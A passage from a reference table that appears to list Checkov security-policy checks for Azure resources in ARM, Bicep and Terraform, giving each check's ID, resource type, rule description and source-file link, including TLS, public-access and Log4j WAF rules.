azurerm_security_center_contact | Ensure that 'Security contact emails' is set | Terraform | [SecurityCenterContactEmails.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SecurityCenterContactEmails.py) | | 5926 | CKV_AZURE_131 | parameter | secureString | SecureString parameter should not have hardcoded default values | arm | [SecureStringParameterNoHardcodedValue.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/parameter/SecureStringParameterNoHardcodedValue.py) | | 5927 | CKV_AZURE_131 | parameter | string | SecureString parameter should not have hardcoded default values | Bicep | [SecureStringParameterNoHardcodedValue.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/bicep/checks/param/azure/SecureStringParameterNoHardcodedValue.py) | | 5928 | CKV_AZURE_132 | resource | Microsoft.DocumentDB/databaseAccounts | Ensure cosmosdb does not allow privileged escalation by restricting management plane changes | arm | [CosmosDBDisableAccessKeyWrite.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBDisableAccessKeyWrite.py) | | 5929 | CKV_AZURE_132 | resource | Microsoft.DocumentDB/databaseAccounts | Ensure cosmosdb does not allow privileged escalation by restricting management plane changes | Bicep | [CosmosDBDisableAccessKeyWrite.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBDisableAccessKeyWrite.py) | | 5930 | CKV_AZURE_132 | resource | azurerm_cosmosdb_account | Ensure cosmosdb does not allow privileged escalation by restricting management plane changes | Terraform | [CosmosDBDisableAccessKeyWrite.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CosmosDBDisableAccessKeyWrite.py) | | 5931 | CKV_AZURE_133 | resource | Microsoft.Network/frontdoorWebApplicationFirewallPolicies | Ensure Front Door WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell | arm | [FrontDoorWAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FrontDoorWAFACLCVE202144228.py) | | 5932 | CKV_AZURE_133 | resource | Microsoft.Network/frontdoorWebApplicationFirewallPolicies | Ensure Front Door WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell | Bicep | [FrontDoorWAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FrontDoorWAFACLCVE202144228.py) | | 5933 | CKV_AZURE_133 | resource | azurerm_frontdoor_firewall_policy | Ensure Front Door WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell | Terraform | [FrontDoorWAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FrontDoorWAFACLCVE202144228.py) | | 5934 | CKV_AZURE_134 | resource | Microsoft.CognitiveServices/accounts | Ensure that Cognitive Services accounts disable public network access | arm | [CognitiveServicesDisablesPublicNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CognitiveServicesDisablesPublicNetwork.py) | | 5935 | CKV_AZURE_134 | resource | Microsoft.CognitiveServices/accounts | Ensure that Cognitive Services accounts disable public network access | Bicep | [CognitiveServicesDisablesPublicNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CognitiveServicesDisablesPublicNetwork.py) | | 5936 | CKV_AZURE_134 | resource | azurerm_cognitive_account | Ensure that Cognitive Services accounts disable public network access | Terraform | [CognitiveServicesDisablesPublicNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CognitiveServicesDisablesPublicNetwork.py) | | 5937 | CKV_AZURE_135 | resource | Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies | Ensure Application Gateway WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell | arm | [AppGatewayWAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppGatewayWAFACLCVE202144228.py) | | 5938 | CKV_AZURE_135 | resource | Microsoft.Network/ApplicationGatewayWebApplicationFirewallPolicies | Ensure Application Gateway WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell | Bicep | [AppGatewayWAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppGatewayWAFACLCVE202144228.py) | | 5939 | CKV_AZURE_135 | resource | azurerm_web_application_firewall_policy | Ensure Application Gateway WAF prevents message lookup in Log4j2. See CVE-2021-44228 aka log4jshell | Terraform | [AppGatewayWAFACLCVE202144228.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppGatewayWAFACLCVE202144228.py) | | 5940 | CKV_AZURE_136 | resource | azurerm_postgresql_flexible_server | Ensure that PostgreSQL Flexible server enables geo-redundant backups | Terraform | [PostgreSQLFlexiServerGeoBackupEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLFlexiServerGeoBackupEnabled.py) | | 5941 | CKV_AZURE_137 | resource | Microsoft.ContainerRegistry/registries | Ensure ACR admin account is disabled | arm | [ACRAdminAccountDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACRAdminAccountDisabled.py) | | 5942 | CKV_AZURE_137 | resource | Microsoft.ContainerRegistry/registries | Ensure ACR admin account is disabled | Bicep | [ACRAdminAccountDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACRAdminAccountDisabled.py) | | 5943 | CKV_AZURE_137 | resource | azurerm_container_registry | Ensure ACR admin account is disabled | Terraform | [ACRAdminAccountDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACRAdminAccountDisabled.py) | | 5944 | CKV_AZURE_138 | resource | Microsoft.ContainerRegistry/registries | Ensures that ACR disables anonymous pulling of images | arm | [ACRAnonymousPullDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACRAnonymousPullDisabled.py) | | 5945 | CKV_AZURE_138 | resource | Microsoft.ContainerRegistry/registries | Ensures that ACR disables anonymous pulling of images | Bicep | [ACRAnonymousPullDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACRAnonymousPullDisabled.py) | | 5946 | CKV_AZURE_138 | resource | azurerm_container_registry | Ensures that ACR disables anonymous pulling of images | Terraform | [ACRAnonymousPullDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACRAnonymousPullDisabled.py) | | 5947 | CKV_AZURE_139 | resource | Microsoft.ContainerRegistry/registries | Ensure ACR set to disable public networking | arm | [ACRPublicNetworkAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACRPublicNetworkAccessDisabled.py) | | 5948 | CKV_AZURE_139 | resource | Microsoft.ContainerRegistry/registries | Ensure ACR set to disable public networking | Bicep | [ACRPublicNetworkAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACRPublicNetworkAccessDisabled.py) | | 5949 | CKV_AZURE_139 | resource | azurerm_container_registry | Ensure ACR set to disable public networking | Terraform | [ACRPublicNetworkAccessDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACRPublicNetworkAccessDisabled.py) | | 5950 | CKV_AZURE_140 | resource | Microsoft.DocumentDB/databaseAccounts | Ensure that Local Authentication is disabled on CosmosDB | arm | [CosmosDBLocalAuthDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBLocalAuthDisabled.py) | | 5951 | CKV_AZURE_140 | resource | Microsoft.DocumentDB/databaseAccounts | Ensure that Local Authentication is disabled on CosmosDB | Bicep | [CosmosDBLocalAuthDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/CosmosDBLocalAuthDisabled.py) | | 5952 | CKV_AZURE_140 | resource | azurerm_cosmosdb_account | Ensure that Local Authentication is disabled on CosmosDB | Terraform | [CosmosDBLocalAuthDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/CosmosDBLocalAuthDisabled.py) | | 5953 | CKV_AZURE_141 | resource | Microsoft.ContainerService/managedClusters | Ensure AKS local admin account is disabled | arm | [AKSLocalAdminDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSLocalAdminDisabled.py) | | 5954 | CKV_AZURE_141 | resource | Microsoft.ContainerService/managedClusters | Ensure AKS local admin account is disabled | Bicep | [AKSLocalAdminDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSLocalAdminDisabled.py) | | 5955 | CKV_AZURE_141 | resource | azurerm_kubernetes_cluster | Ensure AKS local admin account is disabled | Terraform | [AKSLocalAdminDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSLocalAdminDisabled.py) | | 5956 | CKV_AZURE_142 | resource | azurerm_machine_learning_compute_cluster | Ensure Machine Learning Compute Cluster Local Authentication is disabled | Terraform | [MLCCLADisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MLCCLADisabled.py) | | 5957 | CKV_AZURE_143 | resource | azurerm_kubernetes_cluster | Ensure AKS cluster nodes do not have public IP addresses | Terraform | [AKSNodePublicIpDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSNodePublicIpDisabled.py) | | 5958 | CKV_AZURE_144 | resource | azurerm_machine_learning_workspace | Ensure that Public Access is disabled for Machine Learning Workspace | Terraform | [MLPublicAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MLPublicAccess.py) | | 5959 | CKV_AZURE_145 | resource | Microsoft.Web/sites | Ensure Function app is using the latest version of TLS encryption | arm | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppMinTLSVersion.py) | | 5960 | CKV_AZURE_145 | resource | Microsoft.Web/sites | Ensure Function app is using the latest version of TLS encryption | Bicep | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppMinTLSVersion.py) | | 5961 | CKV_AZURE_145 | resource | Microsoft.Web/sites/slots | Ensure Function app is using the latest version of TLS encryption | arm | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppMinTLSVersion.py) | | 5962 | CKV_AZURE_145 | resource | Microsoft.Web/sites/slots | Ensure Function app is using the latest version of TLS encryption | Bicep | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/FunctionAppMinTLSVersion.py) | | 5963 | CKV_AZURE_145 | resource | azurerm_function_app | Ensure Function app is using the latest version of TLS encryption | Terraform | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppMinTLSVersion.py) | | 5964 | CKV_AZURE_145 | resource | azurerm_function_app_slot | Ensure Function app is using the latest version of TLS encryption | Terraform | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppMinTLSVersion.py) | | 5965 | CKV_AZURE_145 | resource | azurerm_linux_function_app | Ensure Function app is using the latest version of TLS encryption | Terraform | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppMinTLSVersion.py) | | 5966 | CKV_AZURE_145 | resource | azurerm_linux_function_app_slot | Ensure Function app is using the latest version of TLS encryption | Terraform | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppMinTLSVersion.py) | | 5967 | CKV_AZURE_145 | resource | azurerm_windows_function_app | Ensure Function app is using the latest version of TLS encryption | Terraform | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppMinTLSVersion.py) | | 5968 | CKV_AZURE_145 | resource | azurerm_windows_function_app_slot | Ensure Function app is using the latest version of TLS encryption | Terraform | [FunctionAppMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppMinTLSVersion.py) | | 5969 | CKV_AZURE_146 | resource | azurerm_postgresql_configuration | Ensure server parameter 'log_retention' is set to 'ON' for PostgreSQL Database Server | Terraform | [PostgreSQLServerLogRetentionEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLServerLogRetentionEnabled.py) | | 5970 | CKV_AZURE_147 | resource | azurerm_postgresql_server | Ensure PostgreSQL is using the latest version of TLS encryption | Terraform | [PostgreSQLMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/PostgreSQLMinTLSVersion.py) | | 5971 | CKV_AZURE_148 | resource | azurerm_redis_cache | Ensure Redis Cache is using the latest version of TLS encryption | Terraform | [RedisCacheMinTLSVersion.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/RedisCacheMinTLSVersion.py) | | 5972 | CKV_AZURE_149 | resource | Microsoft.Compute/virtualMachineScaleSets | Ensure that Virtual machine does not enable password authentication | arm | [VMDisablePasswordAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMDisablePasswordAuthentication.py) | | 5973 | CKV_AZURE_149 | resource | Microsoft.Compute/virtualMachineScaleSets | Ensure that Virtual machine does not enable password authentication | Bicep | [VMDisablePasswordAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMDisablePasswordAuthentication.py) | | 5974 | CKV_AZURE_149 | resource | Microsoft.Compute/virtualMachines | Ensure that Virtual machine does not enable password authentication | arm | [VMDisablePasswordAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMDisablePasswordAuthentication.py) | | 5975 | CKV_AZURE_149 | resource | Microsoft.Compute/virtualMachines | Ensure that Virtual machine does not enable password authentication | Bicep | [VMDisablePasswordAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/VMDisablePasswordAuthentication.py) | | 5976 | CKV_AZURE_149 | resource | azurerm_linux_virtual_machine | Ensure that Virtual machine does not enable password authentication | Terraform | [VMDisablePasswordAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMDisablePasswordAuthentication.py) | | 5977 | CKV_AZURE_149 | resource | azurerm_linux_virtual_machine_scale_set | Ensure that Virtual machine does not enable password authentication | Terraform | [VMDisablePasswordAuthentication.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/VMDisablePasswordAuthentication.py) | | 5978 | CKV_AZURE_150 | resource | azurerm_machine_learning_compute_cluster | Ensure Machine Learning Compute Cluster Minimum Nodes Set To 0 | Terraform | [MLComputeClusterMinNodes.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MLComputeClusterMinNodes.py) | | 5979 | CKV_AZURE_151 | resource | Microsoft.Compute/virtualMachines | Ensure Windows VM enables encryption | arm | [WinVMEncryptionAtHost.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/WinVMEncryptionAtHost.py) | | 5980 | CKV_AZURE_151 | resource | Microsoft.Compute/virtualMachines | Ensure Windows VM enables encryption | Bicep | [WinVMEncryptionAtHost.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/WinVMEncryptionAtHost.py) | | 5981 | CKV_AZURE_151 | resource | azurerm_windows_virtual_machine | Ensure Windows VM enables encryption | Terraform | [WinVMEncryptionAtHost.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/WinVMEncryptionAtHost.py) | | 5982 | CKV_AZURE_152 | resource | azurerm_api_management | Ensure Client Certificates are enforced for API management | Terraform | [APIManagementCertsEnforced.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/APIManagementCertsEnforced.py) | | 5983 | CKV_AZURE_153 | resource | Microsoft.Web/sites | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service Slot | arm | [AppServiceSlotHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSlotHTTPSOnly.py) | | 5984 | CKV_AZURE_153 | resource | Microsoft.Web/sites | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service Slot | Bicep | [AppServiceSlotHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSlotHTTPSOnly.py) | | 5985 | CKV_AZURE_153 | resource | Microsoft.Web/sites/slots | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service Slot | arm | [AppServiceSlotHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSlotHTTPSOnly.py) | | 5986 | CKV_AZURE_153 | resource | Microsoft.Web/sites/slots | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service Slot | Bicep | [AppServiceSlotHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSlotHTTPSOnly.py) | | 5987 | CKV_AZURE_153 | resource | azurerm_app_service_slot | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service Slot | Terraform | [AppServiceSlotHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSlotHTTPSOnly.py) | | 5988 | CKV_AZURE_153 | resource | azurerm_linux_web_app_slot | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service Slot | Terraform | [AppServiceSlotHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSlotHTTPSOnly.py) | | 5989 | CKV_AZURE_153 | resource | azurerm_windows_web_app_slot | Ensure web app redirects all HTTP traffic to HTTPS in Azure App Service Slot | Terraform | [AppServiceSlotHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSlotHTTPSOnly.py) | | 5990 | CKV_AZURE_154 | resource | azurerm_app_service_slot | Ensure the App service slot is using the latest version of TLS encryption | Terraform | [AppServiceSlotMinTLS.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSlotMinTLS.py) | | 5991 | CKV_AZURE_155 | resource | Microsoft.Web/sites | Ensure debugging is disabled for the App service slot | arm | [AppServiceSlotDebugDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSlotDebugDisabled.py) | | 5992 | CKV_AZURE_155 | resource | Microsoft.Web/sites | Ensure debugging is disabled for the App service slot | Bicep | [AppServiceSlotDebugDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSlotDebugDisabled.py) | | 5993 | CKV_AZURE_155 | resource | Microsoft.Web/sites/slots | Ensure debugging is disabled for the App service slot | arm | [AppServiceSlotDebugDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSlotDebugDisabled.py) | | 5994 | CKV_AZURE_155 | resource | Microsoft.Web/sites/slots | Ensure debugging is disabled for the App service slot | Bicep | [AppServiceSlotDebugDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AppServiceSlotDebugDisabled.py) | | 5995 | CKV_AZURE_155 | resource | azurerm_app_service_slot | Ensure debugging is disabled for the App service slot | Terraform | [AppServiceSlotDebugDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AppServiceSlotDebugDisabled.py) | | 5996 | CKV_AZURE_156 | resource | azurerm_mssql_database_extended_auditing_policy | Ensure default Auditing policy for a SQL Server is configured to capture and retain the activity logs | Terraform | [MSSQLServerAuditPolicyLogMonitor.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/MSSQLServerAuditPolicyLogMonitor.py) | | 5997 | CKV_AZURE_157 | resource | Microsoft.Synapse/workspaces | Ensure that Synapse workspace has data_exfiltration_protection_enabled | arm | [SynapseWorkspaceEnablesDataExfilProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SynapseWorkspaceEnablesDataExfilProtection.py) | | 5998 | CKV_AZURE_157 | resource | Microsoft.Synapse/workspaces | Ensure that Synapse workspace has data_exfiltration_protection_enabled | Bicep | [SynapseWorkspaceEnablesDataExfilProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/SynapseWorkspaceEnablesDataExfilProtection.py) | | 5999 | CKV_AZURE_157 | resource | azurerm_synapse_workspace | Ensure that Synapse workspace has data_exfiltration_protection_enabled | Terraform | [SynapseWorkspaceEnablesDataExfilProtection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SynapseWorkspaceEnablesDataExfilProtection.py) | | 6000 | CKV_AZURE_158 | resource | Microsoft.Databricks/workspaces | Ensure Databricks Workspace data plane to control plane communication happens over private link | arm | [DatabricksWorkspaceIsNotPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DatabricksWorkspaceIsNotPublic.py) | | 6001 | CKV_AZURE_158 | resource | Microsoft.Databricks/workspaces | Ensure Databricks Workspace data plane to control plane communication happens over private link | Bicep | [DatabricksWorkspaceIsNotPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/DatabricksWorkspaceIsNotPublic.py) | | 6002 | CKV_AZURE_158 | resource | azurerm_databricks_workspace | Ensure Databricks Workspace data plane to control plane communication happens over private link | Terraform | [DatabricksWorkspaceIsNotPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/DatabricksWorkspaceIsNotPublic.py) | | 6003 | CKV_AZURE_159 | resource | azurerm_function_app | Ensure function app builtin logging is enabled | Terraform | [FunctionAppEnableLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppEnableLogging.py) | | 6004 | CKV_AZURE_159 | resource | azurerm_function_app_slot | Ensure function app builtin logging is enabled | Terraform | [FunctionAppEnableLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/FunctionAppEnableLogging.py) | | 6005 | CKV_AZURE_160 | resource | Microsoft.Network/networkSecurityGroups | Ensure that HTTP (port 80) access is restricted from the internet | arm | [NSGRuleHTTPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleHTTPAccessRestricted.py) | | 6006 | CKV_AZURE_160 | resource | Microsoft.Network/networkSecurityGroups | Ensure that HTTP (port 80) access is restricted from the internet | Bicep | [NSGRuleHTTPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleHTTPAccessRestricted.py) | | 6007 | CKV_AZURE_160 | resource | Microsoft.Network/networkSecurityGroups/securityRules | Ensure that HTTP (port 80) access is restricted from the internet | arm | [NSGRuleHTTPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleHTTPAccessRestricted.py) | | 6008 | CKV_AZURE_160 | resource | Microsoft.Network/networkSecurityGroups/securityRules | Ensure that HTTP (port 80) access is restricted from the internet | Bicep | [NSGRuleHTTPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/NSGRuleHTTPAccessRestricted.py) | | 6009 | CKV_AZURE_160 | resource | azurerm_network_security_group | Ensure that HTTP (port 80) access is restricted from the internet | Terraform | [NSGRuleHTTPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NSGRuleHTTPAccessRestricted.py) | | 6010 | CKV_AZURE_160 | resource | azurerm_network_security_rule | Ensure that HTTP (port 80) access is restricted from the internet | Terraform | [NSGRuleHTTPAccessRestricted.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/NSGRuleHTTPAccessRestricted.py) | | 6011 | CKV_AZURE_161 | resource | azurerm_spring_cloud_api_portal | Ensures Spring Cloud API Portal is enabled on for HTTPS | Terraform | [SpringCloudAPIPortalHTTPSOnly.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SpringCloudAPIPortalHTTPSOnly.py) | | 6012 | CKV_AZURE_162 | resource | azurerm_spring_cloud_api_portal | Ensures Spring Cloud API Portal Public Access Is Disabled | Terraform | [SpringCloudAPIPortalPublicAccessIsDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/SpringCloudAPIPortalPublicAccessIsDisabled.py) | | 6013 | CKV_AZURE_163 | resource | Microsoft.ContainerRegistry/registries | Enable vulnerability scanning for container images. | arm | [ACRContainerScanEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACRContainerScanEnabled.py) | | 6014 | CKV_AZURE_163 | resource | Microsoft.ContainerRegistry/registries | Enable vulnerability scanning for container images. | Bicep | [ACRContainerScanEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACRContainerScanEnabled.py) | | 6015 | CKV_AZURE_163 | resource | azurerm_container_registry | Enable vulnerability scanning for container images. | Terraform | [ACRContainerScanEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACRContainerScanEnabled.py) | | 6016 | CKV_AZURE_164 | resource | azurerm_container_registry | Ensures that ACR uses signed/trusted images | Terraform | [ACRUseSignedImages.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACRUseSignedImages.py) | | 6017 | CKV_AZURE_165 | resource | azurerm_container_registry | Ensure geo-replicated container registries to match multi-region container deployments. | Terraform | [ACRGeoreplicated.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACRGeoreplicated.py) | | 6018 | CKV_AZURE_166 | resource | Microsoft.ContainerRegistry/registries | Ensure container image quarantine, scan, and mark images verified | arm | [ACREnableImageQuarantine.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACREnableImageQuarantine.py) | | 6019 | CKV_AZURE_166 | resource | Microsoft.ContainerRegistry/registries | Ensure container image quarantine, scan, and mark images verified | Bicep | [ACREnableImageQuarantine.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/ACREnableImageQuarantine.py) | | 6020 | CKV_AZURE_166 | resource | azurerm_container_registry | Ensure container image quarantine, scan, and mark images verified | Terraform | [ACREnableImageQuarantine.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACREnableImageQuarantine.py) | | 6021 | CKV_AZURE_167 | resource | azurerm_container_registry | Ensure a retention policy is set to cleanup untagged manifests. | Terraform | [ACREnableRetentionPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/ACREnableRetentionPolicy.py) | | 6022 | CKV_AZURE_168 | resource | Microsoft.ContainerService/managedClusters | Ensure Azure Kubernetes Cluster (AKS) nodes should use a minimum number of 50 pods. | arm | [AKSMaxPodsMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSMaxPodsMinimum.py) | | 6023 | CKV_AZURE_168 | resource | Microsoft.ContainerService/managedClusters | Ensure Azure Kubernetes Cluster (AKS) nodes should use a minimum number of 50 pods. | Bicep | [AKSMaxPodsMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSMaxPodsMinimum.py) | | 6024 | CKV_AZURE_168 | resource | Microsoft.ContainerService/managedClusters/agentPools | Ensure Azure Kubernetes Cluster (AKS) nodes should use a minimum number of 50 pods. | arm | [AKSMaxPodsMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSMaxPodsMinimum.py) | | 6025 | CKV_AZURE_168 | resource | Microsoft.ContainerService/managedClusters/agentPools | Ensure Azure Kubernetes Cluster (AKS) nodes should use a minimum number of 50 pods. | Bicep | [AKSMaxPodsMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSMaxPodsMinimum.py) | | 6026 | CKV_AZURE_168 | resource | azurerm_kubernetes_cluster | Ensure Azure Kubernetes Cluster (AKS) nodes should use a minimum number of 50 pods. | Terraform | [AKSMaxPodsMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSMaxPodsMinimum.py) | | 6027 | CKV_AZURE_168 | resource | azurerm_kubernetes_cluster_node_pool | Ensure Azure Kubernetes Cluster (AKS) nodes should use a minimum number of 50 pods. | Terraform | [AKSMaxPodsMinimum.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/azure/AKSMaxPodsMinimum.py) | | 6028 | CKV_AZURE_169 | resource | Microsoft.ContainerService/managedClusters | Ensure Azure Kubernetes Cluster (AKS) nodes use scale sets | arm | [AKSPoolTypeIsScaleSet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSPoolTypeIsScaleSet.py) | | 6029 | CKV_AZURE_169 | resource | Microsoft.ContainerService/managedClusters | Ensure Azure Kubernetes Cluster (AKS) nodes use scale sets | Bicep | [AKSPoolTypeIsScaleSet.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/arm/checks/resource/AKSPoolTypeIsScaleSet.py) | | 6030 | CKV_AZURE_169 | resource | azurerm_kubernetes_cluster | Ensure Azure Kubernetes Cluster 